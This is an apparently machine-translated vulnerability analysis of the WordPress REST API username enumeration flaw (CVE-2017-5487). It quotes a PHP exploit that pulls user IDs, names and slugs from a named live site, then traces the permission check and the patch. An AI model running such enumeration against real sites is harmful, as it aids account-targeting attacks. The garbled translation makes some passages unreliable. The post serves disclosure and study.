Author: p0wd3r (know Chong Yu 404 security lab)
Date: 2017-03-05
Recently exploit-db is published on a Wordpress < 4.7.1 username enumeration vulnerabilities: <https://www.exploit-db.com/exploits/41497/> , in fact, the vulnerability to 1-month 14, has been posted on the Internet, and given the CVE-2017-5487。 Using the vulnerability an attacker can be in the unauthorized state get the previously posted article of the user’s username, id and other information.
Unauthorized state of access previously posted articles to the user’s username, id and other information.
Trigger premise: Wordpress configuration REST API
Affect version:< 4.7.1
Download the appropriate version of Wordpress, and then configure the REST API, specifically see: <https://www.seebug.org/vuldb/ssvid-92637>
We first look at the exploit-db on the given exp is:
``php
<? php
header (‘Content-type: text/html; charset=UTF-8’);
$url= “https://bucaneiras.org/”; $payload=“wp-json/wp/v2/users/”; $urli = file_get_contents($url.$ payload); $json = json_decode($urli, true); if($json){ echo “-----------------------------\n”; foreach($json as $users){ echo “[] ID : |" .$ users[‘id’] .“|\ n”; echo "[] Name: |” .$ users[‘name’] .“|\ n”; echo “[] User :|" .$ users[‘slug’] .“|\ n”; echo “\n”; }echo "-----------------------------";} else{echo "[] No user”;}
?> ``
You can see it is to use the REST API to get the user information, the corresponding file is wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php
next use the exp and open the dynamic debug.
First, the program proceeds to get_items_permissions_check
function:
``php /__ * Permissions check for getting all users. _ * @since 4.7.0 * @access public _ * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, otherwise WP_Error object. */ public function get_items_permissions_check( $request ) { // Check if roles is specified in the GET request and if the user can list users. if ( ! empty( $request[‘roles’] ) && ! current_user_can( ‘list_users’ ) ) { return new WP_Error( ‘rest_user_cannot_view’, __( ‘Sorry, you are not allowed to filter users by role.’ ), array( ‘status’ => rest_authorization_required_code() ) ); }
if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) );
}
if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
return new WP_Error( 'rest_forbidden_orderby', __( 'Sorry, you are not allowed to order the users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) );
}
return true;
}
``
The function has three conditional statements, if the condition is satisfied it returns an error. But look carefully at each of the conditions is $request[xxx] && ! current_user_can( 'list_users' )
, which also means that as long as the previous statement does not hold, then back current_user_can('list_users')
will lose the role. As for the$request['roles']
and$request['context']
and$request['orderby']
value, by debugging we can see that the three values are as follows:
Do not meet the conditions, so the function returns true
, the successfully passed the permission check.
Next, the program proceeds to the get_items
function, the first is to set some query parameters and then use$query = new WP_User_Query( $prepared_args );
for the query, we directly in the WP_User_Query
of the query
function at the following breakpoints:
$this->request
is the execution of the query, its value is as follows:
sql SELECT SQL_CALC_FOUND_ROWS wp_users.* FROM wp_users WHERE 1=1 AND wp_users. ID IN ( SELECT DISTINCT wp_posts. post_author FROM wp_posts WHERE wp_posts. post_status = 'publish' AND wp_posts. post_type IN ( 'post', 'page', 'attachment' ) ) ORDER BY display_name ASC LIMIT 0, 10
This indicates that the API can access user must meet the following conditions:
publish
post
, a page
, an attachment
in which one of theIn our environment, the admin user by default will have articles, so we perform exp after will give the admin some information:
Next we’ll create a new user, tommy, and then perform the exp found results and as above, the reason is because the also did not send the article. We log on tommy and publish an article, and then perform the exp: the
This time you can get tommy information.
The official Wordpress of the given patch are as follows:
> Only show users that have authored a post of a post type that has show_in_rest
set to true.
Mean only when the user post the type of show_in_rest
property to true
only when you can obtain the user information.
At the code level, patch set$prepared_args['has_published_posts']
value, the value in the construction of the query statement will be used to:
php if ( $qv['has_published_posts'] && $blog_id ) { if ( true === $qv['has_published_posts'] ) { $post_types = get_post_types( array( 'public' => true ) ); } else { $post_types = (array) $qv['has_published_posts']; } ...
The query$post_type
is set to show_in_rest=true
those types, then which type of show_in_rest
is true
?
In wp-includes/post.php
in create_initial_post_types
function can be seen in the post
, the page
and the attachment
of the show_in_rest
are true
, and the patch before the query of the same type, that is in fact the latest version by default or you can use the exp, and the actual test result is also true:
As for why this is, I believe that may be the API of the design intent is to let other people get to publish articles of user name, because the article has been disclosed, the user name is disclosed. This patch gives the user more customized space, because the user can own via register_post_type
to create the post type, the patch provided in the show_in_rest
attribute lets the user choose their own user information for API visibility.
This article is written really hastily if where have no place, also hope you a lot of advice.